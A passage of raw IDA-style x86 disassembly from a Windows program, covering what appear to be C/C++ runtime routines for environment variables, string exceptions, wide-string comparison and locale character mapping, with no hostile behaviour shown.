esi loc_4262B7: ; CODE XREF: sub_4261AB+108j lea eax, ds:8[esi*4] push eax push edi call sub_41B202 pop ecx test eax, eax pop ecx jz loc_42620F mov ecx, [ebp+arg_0] mov [eax+esi*4], ecx and dword ptr [eax+esi*4+4], 0 loc_4262DA: ; CODE XREF: sub_4261AB+F8j mov dword_4DB2A0, eax loc_4262DF: ; CODE XREF: sub_4261AB+F6j ; sub_4261AB+100j cmp [ebp+arg_4], 0 jz short loc_42632B push [ebp+arg_0] call sub_41AFE0 inc eax inc eax push eax call sub_41B4D5 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_42632B push [ebp+arg_0] push esi call sub_41BEB0 mov eax, esi pop ecx sub eax, [ebp+arg_0] pop ecx add eax, [ebp+var_8] and byte ptr [eax], 0 inc eax neg ebx sbb ebx, ebx not ebx and ebx, eax push ebx push esi nop call near ptr 25D0000h push esi call sub_41B0B1 pop ecx loc_42632B: ; CODE XREF: sub_4261AB+6Ej ; sub_4261AB+104j ... xor eax, eax jmp loc_426212 sub_4261AB endp ; =============== S U B R O U T I N E ======================================= sub_426332 proc near ; CODE XREF: sub_4261AB+B2p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, dword_4DB2A0 push edi mov eax, [esi] test eax, eax jz short loc_42636D mov edi, [esp+8+arg_4] loc_426344: ; CODE XREF: sub_426332+39j push edi push eax push [esp+10h+arg_0] call sub_425E56 add esp, 0Ch test eax, eax jnz short loc_426363 mov eax, [esi] mov al, [eax+edi] cmp al, 3Dh jz short loc_42637D test al, al jz short loc_42637D loc_426363: ; CODE XREF: sub_426332+22j mov eax, [esi+4] add esi, 4 test eax, eax jnz short loc_426344 loc_42636D: ; CODE XREF: sub_426332+Cj mov eax, esi sub eax, dword_4DB2A0 sar eax, 2 neg eax loc_42637A: ; CODE XREF: sub_426332+56j pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42637D: ; CODE XREF: sub_426332+2Bj ; sub_426332+2Fj mov eax, esi sub eax, dword_4DB2A0 sar eax, 2 jmp short loc_42637A sub_426332 endp ; =============== S U B R O U T I N E ======================================= sub_42638A proc near ; CODE XREF: sub_4261AB+3Fp arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] xor ecx, ecx test edi, edi jnz short loc_426399 xor eax, eax pop edi retn ; --------------------------------------------------------------------------- loc_426399: ; CODE XREF: sub_42638A+9j cmp dword ptr [edi], 0 lea eax, [edi+4] jz short loc_4263AB loc_4263A1: ; CODE XREF: sub_42638A+1Fj mov edx, [eax] inc ecx add eax, 4 test edx, edx jnz short loc_4263A1 loc_4263AB: ; CODE XREF: sub_42638A+15j push ebx push ebp lea eax, ds:4[ecx*4] push esi push eax call sub_41B4D5 mov esi, eax pop ecx test esi, esi mov ebp, esi jnz short loc_4263CC push 9 call sub_41DA29 pop ecx loc_4263CC: ; CODE XREF: sub_42638A+38j mov eax, [edi] mov ebx, edi loc_4263D0: ; CODE XREF: sub_42638A+5Bj test eax, eax jz short loc_4263E7 push eax add ebx, 4 call sub_426464 mov [esi], eax mov eax, [ebx] pop ecx add esi, 4 jmp short loc_4263D0 ; --------------------------------------------------------------------------- loc_4263E7: ; CODE XREF: sub_42638A+48j and dword ptr [esi], 0 mov eax, ebp pop esi pop ebp pop ebx pop edi retn sub_42638A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4263F1 proc near ; CODE XREF: sub_4261AB+14p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp cmp dword_4DC6DC, 0 jnz short loc_42640C push [ebp+arg_4] push [ebp+arg_0] call sub_41BFB0 pop ecx pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_42640C: ; CODE XREF: sub_4263F1+Aj mov ecx, [ebp+arg_0] loc_42640F: ; CODE XREF: sub_4263F1+56j movzx ax, byte ptr [ecx] test ax, ax jz short loc_426452 movzx edx, al test byte_4DC7E1[edx], 4 jz short loc_42643E mov dl, [ecx+1] inc ecx test dl, dl jz short loc_426449 movzx eax, ax movzx edx, dl shl eax, 8 or eax, edx cmp [ebp+arg_4], eax jz short loc_42644D jmp short loc_426446 ; --------------------------------------------------------------------------- loc_42643E: ; CODE XREF: sub_4263F1+31j movzx edx, ax cmp [ebp+arg_4], edx jz short loc_426452 loc_426446: ; CODE XREF: sub_4263F1+4Bj inc ecx jmp short loc_42640F ; --------------------------------------------------------------------------- loc_426449: ; CODE XREF: sub_4263F1+39j xor eax, eax pop ebp retn ; --------------------------------------------------------------------------- loc_42644D: ; CODE XREF: sub_4263F1+49j lea eax, [ecx-1] pop ebp retn ; --------------------------------------------------------------------------- loc_426452: ; CODE XREF: sub_4263F1+25j ; sub_4263F1+53j movzx edx, ax mov eax, [ebp+arg_4] sub eax, edx neg eax sbb eax, eax not eax and eax, ecx pop ebp retn sub_4263F1 endp ; =============== S U B R O U T I N E ======================================= sub_426464 proc near ; CODE XREF: sub_417EEE+21p ; sub_42638A+4Ep arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_42648B push esi call sub_41AFE0 inc eax push eax call sub_41B4D5 pop ecx test eax, eax pop ecx jz short loc_42648B push esi push eax call sub_41BEB0 pop ecx pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_42648B: ; CODE XREF: sub_426464+7j ; sub_426464+1Aj xor eax, eax pop esi retn sub_426464 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_426490 proc near ; CODE XREF: sub_426573+19p ; sub_42669A+19p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx xor eax, eax mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax call sub_41AFE0 pop ecx push eax push [esp+8+arg_0] mov ecx, esi call sub_40D6EF mov eax, esi pop esi retn 8 sub_426490 endp ; =============== S U B R O U T I N E ======================================= sub_4264BA proc near ; CODE XREF: ___:004264E5p ; sub_426568+6j ... push esi mov esi, ecx push 1 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_427D0C call sub_40D6B3 mov ecx, esi pop esi jmp sub_4268B6 sub_4264BA endp ; =============== S U B R O U T I N E ======================================= sub_4264D5 proc near ; DATA XREF: ___:00427D10o ; ___:00427D20o ... mov eax, [ecx+10h] test eax, eax jnz short locret_4264E1 mov eax, offset dword_4276A8 locret_4264E1: ; CODE XREF: sub_4264D5+5j retn sub_4264D5 endp ; --------------------------------------------------------------------------- loc_4264E2: ; DATA XREF: ___:off_427D0Co push esi mov esi, ecx call sub_4264BA test byte ptr [esp+8], 1 jz short loc_4264F8 push esi call sub_41CC83 pop ecx loc_4264F8: ; CODE XREF: ___:004264EFj mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_4264FE proc near ; CODE XREF: sub_426573+29p mov eax, offset loc_426E32 call sub_41CC64 push ecx push ecx push esi lea eax, [ebp-10h] mov esi, ecx push eax mov [ebp-14h], esi mov dword ptr [ebp-10h], offset dword_427D28 call sub_42682F push dword ptr [ebp+8] and dword ptr [ebp-4], 0 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_427D0C call sub_4265B0 mov ecx, [ebp-0Ch] mov dword ptr [esi], offset off_427D1C mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_4264FE endp ; =============== S U B R O U T I N E ======================================= sub_42654C proc near ; DATA XREF: ___:off_427D1Co arg_0 = byte ptr 4 push esi mov esi, ecx call sub_426568 test [esp+4+arg_0], 1 jz short loc_426562 push esi call sub_41CC83 pop ecx loc_426562: ; CODE XREF: sub_42654C+Dj mov eax, esi pop esi retn 4 sub_42654C endp ; =============== S U B R O U T I N E ======================================= sub_426568 proc near ; CODE XREF: sub_42654C+3p ; DATA XREF: ___:00428094o mov dword ptr [ecx], offset off_427D1C jmp sub_4264BA sub_426568 endp ; =============== S U B R O U T I N E ======================================= sub_426573 proc near ; CODE XREF: sub_40D560+13p ; sub_40D724+Ep mov eax, offset loc_426E44 call sub_41CC64 sub esp, 30h lea eax, [ebp-0Dh] push eax push offset aInvalidStringP ; "invalid string position" lea ecx, [ebp-20h] call sub_426490 and dword ptr [ebp-4], 0 lea eax, [ebp-20h] push eax lea ecx, [ebp-3Ch] call sub_4264FE push offset dword_428090 lea eax, [ebp-3Ch] push eax call sub_4268D9 int 3 ; Trap to Debugger sub_426573 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4265B0 proc near ; CODE XREF: sub_4264FE+32p ; sub_4265D0+32p ... arg_0 = dword ptr 4 push esi xor eax, eax push 0FFFFFFFFh mov esi, ecx push eax push [esp+0Ch+arg_0] mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax call sub_40D560 mov eax, esi pop esi retn 4 sub_4265B0 endp ; =============== S U B R O U T I N E ======================================= sub_4265D0 proc near ; CODE XREF: sub_42669A+29p mov eax, offset loc_426E56 call sub_41CC64 push ecx push ecx push esi lea eax, [ebp-10h] mov esi, ecx push eax mov [ebp-14h], esi mov dword ptr [ebp-10h], offset dword_427D28 call sub_42682F push dword ptr [ebp+8] and dword ptr [ebp-4], 0 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_427D0C call sub_4265B0 mov ecx, [ebp-0Ch] mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_4265D0 endp ; =============== S U B R O U T I N E ======================================= sub_426618 proc near ; CODE XREF: sub_426682+7p ; sub_4266DE+7p ... mov eax, offset loc_426E68 call sub_41CC64 push ecx push esi push edi mov edi, [ebp+8] mov esi, ecx push edi mov [ebp-10h], esi call sub_42686C and dword ptr [ebp-4], 0 add edi, 0Ch push edi lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_427D0C call sub_4265B0 mov ecx, [ebp-0Ch] pop edi mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_426618 endp ; =============== S U B R O U T I N E ======================================= sub_42665B proc near ; DATA XREF: ___:off_427D48o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_426677 test [esp+4+arg_0], 1 jz short loc_426671 push esi call sub_41CC83 pop ecx loc_426671: ; CODE XREF: sub_42665B+Dj mov eax, esi pop esi retn 4 sub_42665B endp ; =============== S U B R O U T I N E ======================================= sub_426677 proc near ; CODE XREF: sub_42665B+3p ; DATA XREF: ___:0042813Co mov dword ptr [ecx], offset off_427D48 jmp sub_4264BA sub_426677 endp ; =============== S U B R O U T I N E ======================================= sub_426682 proc near ; CODE XREF: sub_4266F6+46p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx call sub_426618 mov dword ptr [esi], offset off_427D1C mov eax, esi pop esi retn 4 sub_426682 endp ; =============== S U B R O U T I N E ======================================= sub_42669A proc near ; CODE XREF: sub_40D4B0+15p ; sub_40D509+15p ... mov eax, offset loc_426E7A call sub_41CC64 sub esp, 30h lea eax, [ebp-0Dh] push eax push offset aStringTooLong ; "string too long" lea ecx, [ebp-20h] call sub_426490 and dword ptr [ebp-4], 0 lea eax, [ebp-20h] push eax lea ecx, [ebp-3Ch] call sub_4265D0 push offset dword_428138 lea eax, [ebp-3Ch] push eax mov dword ptr [ebp-3Ch], offset off_427D48 call sub_4268D9 int 3 ; Trap to Debugger sub_42669A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4266DE proc near ; CODE XREF: sub_4266F6+28p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx call sub_426618 mov dword ptr [esi], offset off_427D48 mov eax, esi pop esi retn 4 sub_4266DE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_4266F6 proc near ; DATA XREF: ___:00427D14o var_1C = byte ptr -1Ch push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_426618 push offset dword_428178 lea eax, [ebp+var_1C] push eax call sub_4268D9 int 3 ; Trap to Debugger loc_426714: ; DATA XREF: ___:00427D50o push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_4266DE push offset dword_428138 lea eax, [ebp+var_1C] push eax call sub_4268D9 int 3 ; Trap to Debugger loc_426732: ; DATA XREF: ___:00427D24o push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_426682 push offset dword_428090 lea eax, [ebp+var_1C] push eax call sub_4268D9 int 3 ; Trap to Debugger sub_4266F6 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_426750 proc near nop jmp near ptr 71B2ACCBh sub_426750 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_426756 proc near ; CODE XREF: sub_40CE40+5Ep ; ___:00414BE5p ... nop jmp near ptr 71AB1B7Bh sub_426756 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_42675C proc near ; CODE XREF: sub_41C8D0+23p ; sub_41CB74+13p jmp near ptr 2842025h sub_42675C endp ; --------------------------------------------------------------------------- db 7Bh ; =============== S U B R O U T I N E ======================================= sub_426762 proc near ; CODE XREF: sub_417275+E2p ; sub_417275+F9p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp dword_4DB334, 0 push ebx jnz short loc_4267A8 mov edx, [esp+4+arg_4] mov ecx, [esp+4+arg_0] loc_426774: ; CODE XREF: sub_426762+42j mov bx, [ecx] cmp bx, 5Ah ja short loc_426786 cmp bx, 41h jb short loc_426786 add ebx, 20h loc_426786: ; CODE XREF: sub_426762+19j ; sub_426762+1Fj mov ax, [edx] cmp ax, 5Ah ja short loc_426798 cmp ax, 41h jb short loc_426798 add eax, 20h loc_426798: ; CODE XREF: sub_426762+2Bj ; sub_426762+31j inc ecx inc ecx inc edx inc edx test bx, bx jz short loc_4267D8 cmp bx, ax jz short loc_426774 jmp short loc_4267D8 ; --------------------------------------------------------------------------- loc_4267A8: ; CODE XREF: sub_426762+8j push esi mov esi, [esp+8+arg_0] push edi mov edi, [esp+0Ch+arg_4] loc_4267B2: ; CODE XREF: sub_426762+72j mov ax, [esi] inc esi push eax inc esi call sub_426913 mov ebx, eax mov ax, [edi] inc edi push eax inc edi call sub_426913 pop ecx test bx, bx pop ecx jz short loc_4267D6 cmp bx, ax jz short loc_4267B2 loc_4267D6: ; CODE XREF: sub_426762+6Dj pop edi pop esi loc_4267D8: ; CODE XREF: sub_426762+3Dj ; sub_426762+44j movzx ecx, ax movzx eax, bx sub eax, ecx pop ebx retn sub_426762 endp ; =============== S U B R O U T I N E ======================================= sub_4267E2 proc near ; CODE XREF: ___:004267FAp mov dword ptr [ecx], offset off_427D68 mov ecx, [ecx+4] test ecx, ecx jz short locret_4267F6 push ecx call sub_41B0B1 pop ecx locret_4267F6: ; CODE XREF: sub_4267E2+Bj retn sub_4267E2 endp ; --------------------------------------------------------------------------- loc_4267F7: ; DATA XREF: ___:off_427D68o push esi mov esi, ecx call sub_4267E2 test byte ptr [esp+8], 1 jz short loc_42680D push esi call sub_41CC83 pop ecx loc_42680D: ; CODE XREF: ___:00426804j mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- loc_426813: ; DATA XREF: ___:off_427D70o push esi mov esi, ecx call sub_4268B6 test byte ptr [esp+8], 1 jz short loc_426829 push esi call sub_41CC83 pop ecx loc_426829: ; CODE XREF: ___:00426820j mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_42682F proc near ; CODE XREF: sub_4264FE+1Dp ; sub_4265D0+1Dp arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx mov dword ptr [esi], offset off_427D70 push dword ptr [edi] call sub_41AFE0 inc eax push eax call sub_41CFC5 pop ecx mov [esi+4], eax test eax, eax pop ecx jz short loc_42685E push dword ptr [edi] push eax call sub_41BEB0 pop ecx pop ecx loc_42685E: ; CODE XREF: sub_42682F+23j mov dword ptr [esi+8], 1 mov eax, esi pop edi pop esi retn 4 sub_42682F endp ; =============== S U B R O U T I N E ======================================= sub_42686C proc near ; CODE XREF: sub_426618+16p arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx mov dword ptr [esi], offset off_427D70 mov eax, [edi+8] test eax, eax mov [esi+8], eax jz short loc_4268A9 push dword ptr [edi+4] call sub_41AFE0 inc eax push eax call sub_41CFC5 pop ecx mov [esi+4], eax test eax, eax pop ecx jz short loc_4268AF push dword ptr [edi+4] push eax call sub_41BEB0 pop ecx pop ecx jmp short loc_4268AF ; --------------------------------------------------------------------------- loc_4268A9: ; CODE XREF: sub_42686C+16j mov eax, [edi+4] mov [esi+4], eax loc_4268AF: ; CODE XREF: sub_42686C+2Ej ; sub_42686C+3Bj mov eax, esi pop edi pop esi retn 4 sub_42686C endp ; =============== S U B R O U T I N E ======================================= sub_4268B6 proc near ; CODE XREF: sub_4264BA+16j ; ___:00426816p ... cmp dword ptr [ecx+8], 0 mov dword ptr [ecx], offset off_427D70 jz short locret_4268CB push dword ptr [ecx+4] call sub_41CC83 pop ecx locret_4268CB: ; CODE XREF: sub_4268B6+Aj retn sub_4268B6 endp ; =============== S U B R O U T I N E ======================================= sub_4268CC proc near ; DATA XREF: ___:00427D74o mov eax, [ecx+4] test eax, eax jnz short locret_4268D8 mov eax, offset aUnknownExcepti ; "Unknown exception" locret_4268D8: ; CODE XREF: sub_4268CC+5j retn sub_4268CC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4268D9 proc near ; CODE XREF: sub_426573+37p ; sub_42669A+3Ep ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push edi push 8 pop ecx mov esi, offset dword_427D90 lea edi, [ebp+var_20] rep movsd mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov [ebp+var_4], eax lea eax, [ebp+var_C] push eax push [ebp+var_10] push [ebp+var_1C] push [ebp+var_20] nop call near ptr 26513FEh pop edi pop esi leave retn 8 sub_4268D9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426913 proc near ; CODE XREF: sub_426762+56p ; sub_426762+63p var_2 = word ptr -2 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] cmp ax, 0FFFFh jnz short loc_426925 or ax, ax leave retn ; --------------------------------------------------------------------------- loc_426925: ; CODE XREF: sub_426913+Bj cmp dword_4DB334, 0 jnz short loc_42693F cmp ax, 41h jb short locret_426986 cmp ax, 5Ah ja short locret_426986 add eax, 20h leave retn ; --------------------------------------------------------------------------- loc_42693F: ; CODE XREF: sub_426913+19j cmp ax, 100h jnb short loc_426959 push 1 push eax call sub_426BC1 pop ecx test eax, eax pop ecx jnz short loc_426959 mov ax, word ptr [ebp+arg_0] leave retn ; --------------------------------------------------------------------------- loc_426959: ; CODE XREF: sub_426913+30j ; sub_426913+3Ej push 0 lea eax, [ebp+var_2] push 1 push eax lea eax, [ebp+arg_0] push 1 push eax push 100h push dword_4DB334 call sub_426988 add esp, 1Ch test eax, eax mov ax, word ptr [ebp+arg_0] jz short locret_426986 mov ax, [ebp+var_2] locret_426986: ; CODE XREF: sub_426913+1Fj ; sub_426913+25j ... leave retn sub_426913 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426988 proc near ; CODE XREF: sub_426913+5Fp var_2C = dword ptr -2Ch var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427DB0 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp xor esi, esi cmp dword_4DB58C, esi jnz short loc_4269FE push esi push esi push 1 pop ebx push ebx push offset dword_427940 mov edi, 100h push edi push esi nop call near ptr 2640000h test eax, eax jz short loc_4269DC mov dword_4DB58C, ebx jmp short loc_4269FE ; --------------------------------------------------------------------------- loc_4269DC: ; CODE XREF: sub_426988+4Aj push esi push esi push ebx push offset dword_4CAE2C push edi push esi call near ptr 2650000h nop test eax, eax jz loc_426B7D mov dword_4DB58C, 2 loc_4269FE: ; CODE XREF: sub_426988+2Ej ; sub_426988+52j cmp [ebp+arg_C], esi jle short loc_426A13 push [ebp+arg_C] push [ebp+arg_8] call sub_426B91 pop ecx pop ecx mov [ebp+arg_C], eax loc_426A13: ; CODE XREF: sub_426988+79j mov eax, dword_4DB58C cmp eax, 1 jnz short loc_426A3A push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2640000h jmp loc_426B7F ; --------------------------------------------------------------------------- loc_426A3A: ; CODE XREF: sub_426988+93j cmp eax, 2 jnz loc_426B7D cmp [ebp+arg_18], esi jnz short loc_426A50 mov eax, dword_4DB344 mov [ebp+arg_18], eax loc_426A50: ; CODE XREF: sub_426988+BEj push esi push esi push esi push esi push [ebp+arg_C] push [ebp+arg_8] push 220h push [ebp+arg_18] nop call near ptr 2801040h mov [ebp+var_20], eax cmp eax, esi jz loc_426B7D mov [ebp+var_4], esi add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_1C], eax jmp short loc_426A96 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor esi, esi mov [ebp+var_1C], esi loc_426A96: ; CODE XREF: sub_426988+100j or [ebp+var_4], 0FFFFFFFFh cmp [ebp+var_1C], esi jz loc_426B7D push esi push esi push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_C] push [ebp+arg_8] push 220h push [ebp+arg_18] call near ptr 2801040h nop test eax, eax jz loc_426B7D push esi push esi push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2650000h mov edi, eax mov [ebp+var_2C], edi cmp edi, esi jz loc_426B7D mov [ebp+var_4], 1 add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_24], ebx or [ebp+var_4], 0FFFFFFFFh jmp short loc_426B19 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor esi, esi xor ebx, ebx or [ebp+var_4], 0FFFFFFFFh mov edi, [ebp+var_2C] loc_426B19: ; CODE XREF: sub_426988+17Dj cmp ebx, esi jz short loc_426B7D push edi push ebx push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2650000h test eax, eax jz short loc_426B7D test byte ptr [ebp+arg_4+1], 4 jz short loc_426B57 mov eax, [ebp+arg_14] cmp eax, esi jz short loc_426B79 cmp eax, edi jl short loc_426B48 mov eax, edi loc_426B48: ; CODE XREF: sub_426988+1BCj push eax push ebx push [ebp+arg_10] call sub_41B5F0 add esp, 0Ch jmp short loc_426B79 ; --------------------------------------------------------------------------- loc_426B57: ; CODE XREF: sub_426988+1B1j cmp [ebp+arg_14], esi jnz short loc_426B60 push esi push esi jmp short loc_426B66 ; --------------------------------------------------------------------------- loc_426B60: ; CODE XREF: sub_426988+1D2j push [ebp+arg_14] push [ebp+arg_10] loc_426B66: ; CODE XREF: sub_426988+1D6j push edi push ebx push 1 push [ebp+arg_18] nop call near ptr 2810000h mov edi, eax cmp edi, esi jz short loc_426B7D loc_426B79: ; CODE XREF: sub_426988+1B8j ; sub_426988+1CDj mov eax, edi jmp short loc_426B7F ; --------------------------------------------------------------------------- loc_426B7D: ; CODE XREF: sub_426988+66j ; sub_426988+B5j ... xor eax, eax loc_426B7F: ; CODE XREF: sub_426988+ADj ; sub_426988+1F3j lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_426988 endp ; =============== S U B R O U T I N E ======================================= sub_426B91 proc near ; CODE XREF: sub_426988+81p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] mov eax, [esp+arg_0] test edx, edx push esi lea ecx, [edx-1] jz short loc_426BB0 loc_426BA1: ; CODE XREF: sub_426B91+1Dj cmp word ptr [eax], 0 jz short loc_426BB0 inc eax mov esi, ecx inc eax dec ecx test esi, esi jnz short loc_426BA1 loc_426BB0: ; CODE XREF: sub_426B91+Ej ; sub_426B91+14j cmp word ptr [eax], 0 pop esi jnz short loc_426BBE sub eax, [esp+arg_0] sar eax, 1 retn ; --------------------------------------------------------------------------- loc_426BBE: ; CODE XREF: sub_426B91+24j mov eax, edx retn sub_426B91 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426BC1 proc near ; CODE XREF: sub_426913+35p var_4 = dword ptr -4 arg_0 = word ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0FFFFh jz short loc_426C01 cmp [ebp+arg_0], 100h jnb short loc_426BE5 movzx eax, [ebp+arg_0] mov ecx, off_43C2FC mov ax, [ecx+eax*2] jmp short loc_426C08 ; --------------------------------------------------------------------------- loc_426BE5: ; CODE XREF: sub_426BC1+12j push 0 lea eax, [ebp+var_4] push 0 push eax lea eax, [ebp+arg_0] push 1 push eax push 1 call sub_426C13 add esp, 18h test eax, eax jnz short loc_426C05 loc_426C01: ; CODE XREF: sub_426BC1+Aj xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_426C05: ; CODE XREF: sub_426BC1+3Ej mov eax, [ebp+var_4] loc_426C08: ; CODE XREF: sub_426BC1+22j movzx ecx, [ebp+arg_4] movzx eax, ax and eax, ecx leave retn sub_426BC1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426C13 proc near ; CODE XREF: sub_426BC1+34p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427DC8 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp mov eax, dword_4DB590 xor edi, edi cmp eax, edi jnz short loc_426C82 lea eax, [ebp+var_1C] push eax push 1 pop esi push esi push offset dword_427940 push esi nop call near ptr 260051Fh test eax, eax jz short loc_426C60 mov eax, esi jmp short loc_426C7D ; --------------------------------------------------------------------------- loc_426C60: ; CODE XREF: sub_426C13+47j lea eax, [ebp+var_1C] push eax push esi push offset dword_4CAE2C push esi push edi nop call near ptr 2610000h test eax, eax jz loc_426DC4 push 2 pop eax loc_426C7D: ; CODE XREF: sub_426C13+4Bj mov dword_4DB590, eax loc_426C82: ; CODE XREF: sub_426C13+2Fj cmp eax, 1 jnz short loc_426C9E push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 260051Fh jmp loc_426DC6 ; --------------------------------------------------------------------------- loc_426C9E: ; CODE XREF: sub_426C13+72j cmp eax, 2 jnz loc_426DC4 cmp [ebp+arg_10], edi jnz short loc_426CB4 mov eax, dword_4DB344 mov [ebp+arg_10], eax loc_426CB4: ; CODE XREF: sub_426C13+97j push edi push edi push edi push edi push [ebp+arg_8] push [ebp+arg_4] push 220h push [ebp+arg_10] nop call near ptr 2801040h mov esi, eax mov [ebp+var_28], esi cmp esi, edi jz loc_426DC4 mov [ebp+var_4], edi add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_2C], eax push esi push edi push eax call sub_41B590 add esp, 0Ch or [ebp+var_4], 0FFFFFFFFh jmp short loc_426D12 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi mov [ebp+var_2C], edi or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_28] loc_426D12: ; CODE XREF: sub_426C13+EAj cmp [ebp+var_2C], edi jz loc_426DC4 push edi push edi push esi push [ebp+var_2C] push [ebp+arg_8] push [ebp+arg_4] push 220h push [ebp+arg_10] nop call near ptr 2801040h test eax, eax jz loc_426DC4 mov [ebp+var_4], 1 lea eax, [esi+esi+2] add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_24], ebx jmp short loc_426D67 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi xor ebx, ebx loc_426D67: ; CODE XREF: sub_426C13+147j or [ebp+var_4], 0FFFFFFFFh cmp ebx, edi jz short loc_426DC4 mov eax, [ebp+arg_14] cmp eax, edi jnz short loc_426D7B mov eax, dword_4DB334 loc_426D7B: ; CODE XREF: sub_426C13+161j mov ecx, [ebp+arg_8] lea edi, [ecx+ecx] lea esi, [edi+ebx] or word ptr [esi], 0FFFFh or word ptr [esi-2], 0FFFFh push ebx push [ebp+var_28] push [ebp+var_2C] push [ebp+arg_0] push eax nop call near ptr 2610000h mov [ebp+var_20], eax cmp word ptr [esi-2], 0FFFFh jz short loc_426DC4 cmp word ptr [esi], 0FFFFh jnz short loc_426DC4 push edi push 